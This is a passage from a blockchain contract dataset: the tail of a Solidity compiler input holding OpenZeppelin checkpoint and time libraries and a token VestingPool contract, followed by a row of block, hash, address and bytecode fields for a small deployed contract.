inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(Checkpoint208[] storage self, uint48 key, uint208 value) private returns (uint208, uint208) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint208 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoint keys must be non-decreasing.\n if (last._key > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n // Update or push new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint208({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint208({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high`\n * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive\n * `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint208[] storage self,\n uint48 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or\n * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and\n * exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint208[] storage self,\n uint48 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n /**\n * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds.\n */\n function _unsafeAccess(\n Checkpoint208[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint208 storage result) {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n\n struct Trace160 {\n Checkpoint160[] _checkpoints;\n }\n\n struct Checkpoint160 {\n uint96 _key;\n uint160 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace160 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n *\n * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint96).max` key set will disable the\n * library.\n */\n function push(Trace160 storage self, uint96 key, uint160 value) internal returns (uint160, uint160) {\n return _insert(self._checkpoints, key, value);\n }\n\n /**\n * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if\n * there is none.\n */\n function lowerLookup(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n */\n function upperLookup(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n *\n * NOTE: This is a variant of {upperLookup} that is optimised to find \"recent\" checkpoint (checkpoints with high\n * keys).\n */\n function upperLookupRecent(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace160 storage self) internal view returns (uint160) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace160 storage self) internal view returns (bool exists, uint96 _key, uint160 _value) {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint160 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace160 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Returns checkpoint at given position.\n */\n function at(Trace160 storage self, uint32 pos) internal view returns (Checkpoint160 memory) {\n return self._checkpoints[pos];\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(Checkpoint160[] storage self, uint96 key, uint160 value) private returns (uint160, uint160) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint160 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoint keys must be non-decreasing.\n if (last._key > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n // Update or push new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint160({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint160({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high`\n * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive\n * `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint160[] storage self,\n uint96 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or\n * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and\n * exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint160[] storage self,\n uint96 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n /**\n * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds.\n */\n function _unsafeAccess(\n Checkpoint160[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint160 storage result) {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/types/Time.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/types/Time.sol)\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"../math/Math.sol\";\nimport {SafeCast} from \"../math/SafeCast.sol\";\n\n/**\n * @dev This library provides helpers for manipulating time-related objects.\n *\n * It uses the following types:\n * - `uint48` for timepoints\n * - `uint32` for durations\n *\n * While the library doesn't provide specific types for timepoints and duration, it does provide:\n * - a `Delay` type to represent duration that can be programmed to change value automatically at a given point\n * - additional helper functions\n */\nlibrary Time {\n using Time for *;\n\n /**\n * @dev Get the block timestamp as a Timepoint.\n */\n function timestamp() internal view returns (uint48) {\n return SafeCast.toUint48(block.timestamp);\n }\n\n /**\n * @dev Get the block number as a Timepoint.\n */\n function blockNumber() internal view returns (uint48) {\n return SafeCast.toUint48(block.number);\n }\n\n // ==================================================== Delay =====================================================\n /**\n * @dev A `Delay` is a uint32 duration that can be programmed to change value automatically at a given point in the\n * future. The \"effect\" timepoint describes when the transitions happens from the \"old\" value to the \"new\" value.\n * This allows updating the delay applied to some operation while keeping some guarantees.\n *\n * In particular, the {update} function guarantees that if the delay is reduced, the old delay still applies for\n * some time. For example if the delay is currently 7 days to do an upgrade, the admin should not be able to set\n * the delay to 0 and upgrade immediately. If the admin wants to reduce the delay, the old delay (7 days) should\n * still apply for some time.\n *\n *\n * The `Delay` type is 112 bits long, and packs the following:\n *\n * ```\n * | [uint48]: effect date (timepoint)\n * | | [uint32]: value before (duration)\n * ↓ ↓ ↓ [uint32]: value after (duration)\n * 0xAAAAAAAAAAAABBBBBBBBCCCCCCCC\n * ```\n *\n * NOTE: The {get} and {withUpdate} functions operate using timestamps. Block number based delays are not currently\n * supported.\n */\n type Delay is uint112;\n\n /**\n * @dev Wrap a duration into a Delay to add the one-step \"update in the future\" feature\n */\n function toDelay(uint32 duration) internal pure returns (Delay) {\n return Delay.wrap(duration);\n }\n\n /**\n * @dev Get the value at a given timepoint plus the pending value and effect timepoint if there is a scheduled\n * change after this timepoint. If the effect timepoint is 0, then the pending value should not be considered.\n */\n function _getFullAt(Delay self, uint48 timepoint) private pure returns (uint32, uint32, uint48) {\n (uint32 valueBefore, uint32 valueAfter, uint48 effect) = self.unpack();\n return effect <= timepoint ? (valueAfter, 0, 0) : (valueBefore, valueAfter, effect);\n }\n\n /**\n * @dev Get the current value plus the pending value and effect timepoint if there is a scheduled change. If the\n * effect timepoint is 0, then the pending value should not be considered.\n */\n function getFull(Delay self) internal view returns (uint32, uint32, uint48) {\n return _getFullAt(self, timestamp());\n }\n\n /**\n * @dev Get the current value.\n */\n function get(Delay self) internal view returns (uint32) {\n (uint32 delay, , ) = self.getFull();\n return delay;\n }\n\n /**\n * @dev Update a Delay object so that it takes a new duration after a timepoint that is automatically computed to\n * enforce the old delay at the moment of the update. Returns the updated Delay object and the timestamp when the\n * new delay becomes effective.\n */\n function withUpdate(\n Delay self,\n uint32 newValue,\n uint32 minSetback\n ) internal view returns (Delay updatedDelay, uint48 effect) {\n uint32 value = self.get();\n uint32 setback = uint32(Math.max(minSetback, value > newValue ? value - newValue : 0));\n effect = timestamp() + setback;\n return (pack(value, newValue, effect), effect);\n }\n\n /**\n * @dev Split a delay into its components: valueBefore, valueAfter and effect (transition timepoint).\n */\n function unpack(Delay self) internal pure returns (uint32 valueBefore, uint32 valueAfter, uint48 effect) {\n uint112 raw = Delay.unwrap(self);\n\n valueAfter = uint32(raw);\n valueBefore = uint32(raw >> 32);\n effect = uint48(raw >> 64);\n\n return (valueBefore, valueAfter, effect);\n }\n\n /**\n * @dev pack the components into a Delay object.\n */\n function pack(uint32 valueBefore, uint32 valueAfter, uint48 effect) internal pure returns (Delay) {\n return Delay.wrap((uint112(effect) << 64) | (uint112(valueBefore) << 32) | uint112(valueAfter));\n }\n}\n"
},
"contracts/libraries/VestingLibrary.sol": {
"content": "/// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.8.22 <0.9.0;\n\nlibrary VestingLibrary {\n bytes32 private constant DOMAIN_SEPARATOR_TYPEHASH =\n keccak256(\"EIP712Domain(string name,string version)\");\n\n bytes32 private constant VESTING_TYPEHASH =\n keccak256(\n \"Vesting(address owner,uint8 curveType,bool managed,uint16 durationWeeks,uint64 startDate,uint128 amount,uint128 initialUnlock,bool requiresSPT)\"\n );\n\n // Sane limits based on: https://eips.ethereum.org/EIPS/eip-1985\n // amountClaimed should always be equal to or less than amount\n // pausingDate should always be equal to or greater than startDate\n struct Vesting {\n // First storage slot\n uint128 initialUnlock; // 16 bytes -> Max 3.4e20 tokens (including decimals)\n uint8 curveType; // 1 byte -> Max 256 different curve types\n bool managed; // 1 byte\n uint16 durationWeeks; // 2 bytes -> Max 65536 weeks ~ 1260 years\n uint64 startDate; // 8 bytes -> Works until year 292278994, but not before 1970\n // Second storage slot\n uint128 amount; // 16 bytes -> Max 3.4e20 tokens (including decimals)\n uint128 amountClaimed; // 16 bytes -> Max 3.4e20 tokens (including decimals)\n // Third storage slot\n uint64 pausingDate; // 8 bytes -> Works until year 292278994, but not before 1970\n bool cancelled; // 1 byte\n bool requiresSPT; // 1 byte\n }\n\n /// @notice Calculate the id for a vesting based on its parameters.\n /// @param owner The owner for which the vesting was created\n /// @param curveType Type of the curve that is used for the vesting\n /// @param managed Indicator if the vesting is managed by the pool manager\n /// @param durationWeeks The duration of the vesting in weeks\n /// @param startDate The date when the vesting started (can be in the future)\n /// @param amount Amount of tokens that are vested in atoms\n /// @param initialUnlock Amount of tokens that are unlocked immediately in atoms\n /// @return vestingId Id of a vesting based on its parameters\n function vestingHash(\n address owner,\n uint8 curveType,\n bool managed,\n uint16 durationWeeks,\n uint64 startDate,\n uint128 amount,\n uint128 initialUnlock,\n bool requiresSPT\n ) external pure returns (bytes32 vestingId) {\n bytes32 domainSeparator = keccak256(\n abi.encode(DOMAIN_SEPARATOR_TYPEHASH, \"VestingLibrary\", \"1.0\")\n );\n bytes32 vestingDataHash = keccak256(\n abi.encode(\n VESTING_TYPEHASH,\n owner,\n curveType,\n managed,\n durationWeeks,\n startDate,\n amount,\n initialUnlock,\n requiresSPT\n )\n );\n vestingId = keccak256(\n abi.encodePacked(\n bytes1(0x19),\n bytes1(0x01),\n domainSeparator,\n vestingDataHash\n )\n );\n }\n}\n"
},
"contracts/VestingPool.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.8.22 <0.9.0;\n\nimport { ERC20Votes } from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol\";\nimport { VestingLibrary } from \"./libraries/VestingLibrary.sol\";\nimport { IERC20 } from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\n/// @title Vesting contract for single account\n/// Original contract - https://github.com/safe-global/safe-token/blob/main/contracts/VestingPool.sol\n/// @author Daniel Dimitrov - @compojoom, Fred Lührs - @fredo\ncontract VestingPool {\n event AddedVesting(bytes32 indexed id);\n event ClaimedVesting(bytes32 indexed id, address indexed beneficiary);\n event PausedVesting(bytes32 indexed id);\n event UnpausedVesting(bytes32 indexed id);\n event CancelledVesting(bytes32 indexed id);\n\n bool public initialised;\n address public owner;\n\n address public token;\n address public immutable sptToken;\n address public poolManager;\n\n uint256 public totalTokensInVesting;\n mapping(bytes32 => VestingLibrary.Vesting) public vestings;\n\n modifier onlyPoolManager() {\n require(\n msg.sender == poolManager,\n \"Can only be called by pool manager\"\n );\n _;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Can only be claimed by vesting owner\");\n _;\n }\n\n // solhint-disable-next-line no-empty-blocks\n constructor(address _sptToken) {\n sptToken = _sptToken;\n // don't do anything else here to allow usage of proxy contracts.\n }\n\n /// @notice Initialize the vesting pool\n /// @dev This can only be called once\n /// @param _token The token that should be used for the vesting\n /// @param _poolManager The manager of this vesting pool (e.g. the address that can call `addVesting`)\n /// @param _owner The owner of this vesting pool (e.g. the address that can call `delegateTokens`)\n function initialize(\n address _token,\n address _poolManager,\n address _owner\n ) public {\n require(!initialised, \"The contract has already been initialised.\");\n require(_token != address(0), \"Invalid token account\");\n require(_poolManager != address(0), \"Invalid pool manager account\");\n require(_owner != address(0), \"Invalid account\");\n\n initialised = true;\n\n token = _token;\n poolManager = _poolManager;\n\n owner = _owner;\n }\n\n function delegateTokens(address delegatee) external onlyOwner {\n ERC20Votes(token).delegate(delegatee);\n }\n\n /// @notice Create a vesting on this pool for `account`.\n /// @dev This can only be called by the pool manager\n /// @dev It is required that the pool has enough tokens available\n /// @param curveType Type of the curve that should be used for the vesting\n /// @param managed Boolean that indicates if the vesting can be managed by the pool manager\n /// @param durationWeeks The duration of the vesting in weeks\n /// @param startDate The date when the vesting should be started (can be in the past)\n /// @param amount Amount of tokens that should be vested in atoms\n /// @param initialUnlock Amount of tokens that should be unlocked immediately\n /// @return vestingId The id of the created vesting\n function addVesting(\n uint8 curveType,\n bool managed,\n uint16 durationWeeks,\n uint64 startDate,\n uint128 amount,\n uint128 initialUnlock,\n bool requiresSPT\n ) public virtual onlyPoolManager returns (bytes32) {\n return\n _addVesting(\n curveType,\n managed,\n durationWeeks,\n startDate,\n amount,\n initialUnlock,\n requiresSPT\n );\n }\n\n /// @notice Calculate the amount of tokens available for new vestings.\n /// @dev This value changes when more tokens are deposited to this contract\n /// @return Amount of tokens that can be used for new vestings.\n function tokensAvailableForVesting() public view virtual returns (uint256) {\n return\n ERC20Votes(token).balanceOf(address(this)) - totalTokensInVesting;\n }\n\n /// @notice Create a vesting on this pool for `account`.\n /// @dev It is required that the pool has enough tokens available\n /// @dev Account cannot be zero address\n /// @param curveType Type of the curve that should be used for the vesting\n /// @param managed Boolean that indicates if the vesting can be managed by the pool manager\n /// @param durationWeeks The duration of the vesting in weeks\n /// @param startDate The date when the vesting should be started (can be in the past)\n /// @param amount Amount of tokens that should be vested in atoms\n /// @param vestingId The id of the created vesting\n function _addVesting(\n uint8 curveType,\n bool managed,\n uint16 durationWeeks,\n uint64 startDate,\n uint128 amount,\n uint128 initialUnlock,\n bool requiresSPT\n ) internal returns (bytes32 vestingId) {\n require(curveType < 2, \"Invalid vesting curve\");\n vestingId = VestingLibrary.vestingHash(\n owner,\n curveType,\n managed,\n durationWeeks,\n startDate,\n amount,\n initialUnlock,\n requiresSPT\n );\n require(vestings[vestingId].amount == 0, \"Vesting id already used\");\n // Check that enough tokens are available for the new vesting\n uint256 availableTokens = tokensAvailableForVesting();\n require(availableTokens >= amount, \"Not enough tokens available\");\n // Mark tokens for this vesting in use\n totalTokensInVesting += amount;\n vestings[vestingId] = VestingLibrary.Vesting({\n curveType: curveType,\n managed: managed,\n durationWeeks: durationWeeks,\n startDate: startDate,\n amount: amount,\n amountClaimed: 0,\n pausingDate: 0,\n cancelled: false,\n initialUnlock: initialUnlock,\n requiresSPT: requiresSPT\n });\n emit AddedVesting(vestingId);\n }\n\n /// @notice Claim `tokensToClaim` tokens from vesting `vestingId` and transfer them to the `beneficiary`.\n /// @dev This can only be called by the owner of the vesting\n /// @dev Beneficiary cannot be the 0-address\n /// @dev This will trigger a transfer of tokens\n /// @param vestingId Id of the vesting from which the tokens should be claimed\n /// @param beneficiary Account that should receive the claimed tokens\n /// @param tokensToClaim Amount of tokens to claim in atoms or max uint128 to claim all available\n function claimVestedTokens(\n bytes32 vestingId,\n address beneficiary,\n uint128 tokensToClaim\n ) public {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n\n uint128 tokensClaimed = updateClaimedTokens(\n vestingId,\n beneficiary,\n tokensToClaim\n );\n\n if(vesting.requiresSPT) {\n require(\n IERC20(sptToken).transferFrom(msg.sender, address(this), tokensClaimed),\n \"SPT transfer failed\"\n );\n }\n\n require(\n ERC20Votes(token).transfer(beneficiary, tokensClaimed),\n \"Token transfer failed\"\n );\n }\n\n /// @notice Update `amountClaimed` on vesting `vestingId` by `tokensToClaim` tokens.\n /// @dev This can only be called by the owner of the vesting\n /// @dev Beneficiary cannot be the 0-address\n /// @dev This will only update the internal state and NOT trigger the transfer of tokens.\n /// @param vestingId Id of the vesting from which the tokens should be claimed\n /// @param beneficiary Account that should receive the claimed tokens\n /// @param tokensToClaim Amount of tokens to claim in atoms or max uint128 to claim all available\n /// @param tokensClaimed Amount of tokens that have been newly claimed by calling this method\n function updateClaimedTokens(\n bytes32 vestingId,\n address beneficiary,\n uint128 tokensToClaim\n ) internal onlyOwner returns (uint128 tokensClaimed) {\n require(beneficiary != address(0), \"Cannot claim to 0-address\");\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n // Calculate how many tokens can be claimed\n uint128 availableClaim = _calculateVestedAmount(vesting) -\n vesting.amountClaimed;\n // If max uint128 is used, claim all available tokens.\n tokensClaimed = tokensToClaim == type(uint128).max\n ? availableClaim\n : tokensToClaim;\n require(\n tokensClaimed <= availableClaim,\n \"Trying to claim too many tokens\"\n );\n // Adjust how many tokens are locked in vesting\n totalTokensInVesting -= tokensClaimed;\n vesting.amountClaimed += tokensClaimed;\n emit ClaimedVesting(vestingId, beneficiary);\n }\n\n /// @notice Cancel vesting `vestingId`.\n /// @dev This can only be called by the pool manager\n /// @dev Only manageable vestings can be cancelled\n /// @param vestingId Id of the vesting that should be cancelled\n function cancelVesting(bytes32 vestingId) public onlyPoolManager {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n require(vesting.managed, \"Only managed vestings can be cancelled\");\n require(!vesting.cancelled, \"Vesting already cancelled\");\n bool isFutureVesting = block.timestamp <= vesting.startDate;\n // If vesting is not already paused it will be paused\n // Pausing date should not be reset else tokens of the initial pause can be claimed\n if (vesting.pausingDate == 0) {\n // pausingDate should always be larger or equal to startDate\n vesting.pausingDate = isFutureVesting\n ? vesting.startDate\n : uint64(block.timestamp);\n }\n // Vesting is cancelled, therefore tokens that are not vested yet, will be added back to the pool\n uint128 unusedToken = isFutureVesting\n ? vesting.amount\n : vesting.amount - _calculateVestedAmount(vesting);\n totalTokensInVesting -= unusedToken;\n // Vesting is set to cancelled and therefore disallows unpausing\n vesting.cancelled = true;\n emit CancelledVesting(vestingId);\n }\n\n /// @notice Pause vesting `vestingId`.\n /// @dev This can only be called by the pool manager\n /// @dev Only manageable vestings can be paused\n /// @param vestingId Id of the vesting that should be paused\n function pauseVesting(bytes32 vestingId) public onlyPoolManager {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n require(vesting.managed, \"Only managed vestings can be paused\");\n require(vesting.pausingDate == 0, \"Vesting already paused\");\n // pausingDate should always be larger or equal to startDate\n vesting.pausingDate = block.timestamp <= vesting.startDate\n ? vesting.startDate\n : uint64(block.timestamp);\n emit PausedVesting(vestingId);\n }\n\n /// @notice Unpause vesting `vestingId`.\n /// @dev This can only be called by the pool manager\n /// @dev Only vestings that have not been cancelled can be unpaused\n /// @param vestingId Id of the vesting that should be unpaused\n function unpauseVesting(bytes32 vestingId) public onlyPoolManager {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n require(vesting.pausingDate != 0, \"Vesting is not paused\");\n require(\n !vesting.cancelled,\n \"Vesting has been cancelled and cannot be unpaused\"\n );\n // Calculate the time the vesting was paused\n // If vesting has not started yet, then pausing date might be in the future\n uint64 timePaused = block.timestamp <= vesting.pausingDate\n ? 0\n : uint64(block.timestamp) - vesting.pausingDate;\n // Offset the start date to create the effect of pausing\n vesting.startDate = vesting.startDate + timePaused;\n vesting.pausingDate = 0;\n emit UnpausedVesting(vestingId);\n }\n\n /// @notice Calculate vested and claimed token amounts for vesting `vestingId`.\n /// @dev This will revert if the vesting has not been started yet\n /// @param vestingId Id of the vesting for which to calculate the amounts\n /// @return vestedAmount The amount in atoms of tokens vested\n /// @return claimedAmount The amount in atoms of tokens claimed\n function calculateVestedAmount(\n bytes32 vestingId\n ) external view returns (uint128 vestedAmount, uint128 claimedAmount) {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n vestedAmount = _calculateVestedAmount(vesting);\n claimedAmount = vesting.amountClaimed;\n }\n\n /// @notice Calculate vested token amount for vesting `vesting`.\n /// @dev This will revert if the vesting has not been started yet\n /// @param vesting The vesting for which to calculate the amounts\n /// @return vestedAmount The amount in atoms of tokens vested\n function _calculateVestedAmount(\n VestingLibrary.Vesting storage vesting\n ) internal view returns (uint128 vestedAmount) {\n require(vesting.startDate <= block.timestamp, \"Vesting not active yet\");\n // Convert vesting duration to seconds\n uint64 durationSeconds = uint64(vesting.durationWeeks) *\n 7 *\n 24 *\n 60 *\n 60;\n // If contract is paused use the pausing date to calculate amount\n uint64 vestedSeconds = vesting.pausingDate > 0\n ? vesting.pausingDate - vesting.startDate\n : uint64(block.timestamp) - vesting.startDate;\n if (vestedSeconds >= durationSeconds) {\n // If vesting time is longer than duration everything has been vested\n vestedAmount = vesting.amount;\n } else if (vesting.curveType == 0) {\n // Linear vesting\n vestedAmount =\n calculateLinear(\n vesting.amount - vesting.initialUnlock,\n vestedSeconds,\n durationSeconds\n ) +\n vesting.initialUnlock;\n } else if (vesting.curveType == 1) {\n // Exponential vesting\n vestedAmount =\n calculateExponential(\n vesting.amount - vesting.initialUnlock,\n vestedSeconds,\n durationSeconds\n ) +\n vesting.initialUnlock;\n } else {\n // This is unreachable because it is not possible to add a vesting with an invalid curve type\n revert(\"Invalid curve type\");\n }\n }\n\n /// @notice Calculate vested token amount on a linear curve.\n /// @dev Calculate vested amount on linear curve: targetAmount * elapsedTime / totalTime\n /// @param targetAmount Amount of tokens that is being vested\n /// @param elapsedTime Time that has elapsed for the vesting\n /// @param totalTime Duration of the vesting\n /// @return Tokens that have been vested on a linear curve\n function calculateLinear(\n uint128 targetAmount,\n uint64 elapsedTime,\n uint64 totalTime\n ) internal pure returns (uint128) {\n // Calculate vested amount on linear curve: targetAmount * elapsedTime / totalTime\n uint256 amount = (uint256(targetAmount) * uint256(elapsedTime)) /\n uint256(totalTime);\n require(amount <= type(uint128).max, \"Overflow in curve calculation\");\n return uint128(amount);\n }\n\n /// @notice Calculate vested token amount on an exponential curve.\n /// @dev Calculate vested amount on exponential curve: targetAmount * elapsedTime^2 / totalTime^2\n /// @param targetAmount Amount of tokens that is being vested\n /// @param elapsedTime Time that has elapsed for the vesting\n /// @param totalTime Duration of the vesting\n /// @return Tokens that have been vested on an exponential curve\n function calculateExponential(\n uint128 targetAmount,\n uint64 elapsedTime,\n uint64 totalTime\n ) internal pure returns (uint128) {\n // Calculate vested amount on exponential curve: targetAmount * elapsedTime^2 / totalTime^2\n uint256 amount = (uint256(targetAmount) *\n uint256(elapsedTime) *\n uint256(elapsedTime)) / (uint256(totalTime) * uint256(totalTime));\n require(amount <= type(uint128).max, \"Overflow in curve calculation\");\n return uint128(amount);\n }\n}\n"
}
},
"settings": {
"evmVersion": "paris",
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"metadata": {
"useLiteralContent": true
},
"libraries": {
"contracts/libraries/VestingLibrary.sol": {
"VestingLibrary": "0x99fad8b3658d185474e13d1be98660dc30077b26"
}
}
}
}} |
1 | 19,493,864 | 9560652dc16b2bc24352d325799df2f3f5be430c447faee3dd331933e69b63f8 | 948d78e996bc0d5212d89795cd33fc6024be6848e4641f2ace268bd091e813ec | 3da6a6266eca3cd126599ac7e64d4c9b1ac414d6 | 3da6a6266eca3cd126599ac7e64d4c9b1ac414d6 | 6afacc579aa11b2b63bd5689beb1a1f55aabfe4c | 608060405234801561000f575f80fd5b506104098061001d5f395ff3fe60806040526004361061002c575f3560e01c80639e281a9814610035578063d3f4520a1461005d57610033565b3661003357005b005b348015610040575f80fd5b5061005b6004803603810190610056919061026c565b610085565b005b348015610068575f80fd5b50610083600480360381019061007e91906102aa565b61015b565b005b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb733da6a6266eca3cd126599ac7e64d4c9b1ac414d6836040516024016100c89291906102f3565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516101169190610386565b5f604051808303815f865af19150503d805f811461014f576040519150601f19603f3d011682016040523d82523d5f602084013e610154565b606091505b5050505050565b5f733da6a6266eca3cd126599ac7e64d4c9b1ac414d673ffffffffffffffffffffffffffffffffffffffff1682604051610194906103bf565b5f6040518083038185875af1925050503d805f81146101ce576040519150601f19603f3d011682016040523d82523d5f602084013e6101d3565b606091505b505090505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610208826101df565b9050919050565b610218816101fe565b8114610222575f80fd5b50565b5f813590506102338161020f565b92915050565b5f819050919050565b61024b81610239565b8114610255575f80fd5b50565b5f8135905061026681610242565b92915050565b5f8060408385031215610282576102816101db565b5b5f61028f85828601610225565b92505060206102a085828601610258565b9150509250929050565b5f602082840312156102bf576102be6101db565b5b5f6102cc84828501610258565b91505092915050565b6102de816101fe565b82525050565b6102ed81610239565b82525050565b5f6040820190506103065f8301856102d5565b61031360208301846102e4565b9392505050565b5f81519050919050565b5f81905092915050565b5f5b8381101561034b578082015181840152602081019050610330565b5f8484015250505050565b5f6103608261031a565b61036a8185610324565b935061037a81856020860161032e565b80840191505092915050565b5f6103918284610356565b915081905092915050565b50565b5f6103aa5f83610324565b91506103b58261039c565b5f82019050919050565b5f6103c98261039f565b915081905091905056fea26469706673582212209bd29fb397bb80723b93ba4626d49ed4f3878a2b7f720ab6296ba3caff0b452264736f6c634300081400330000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000 | 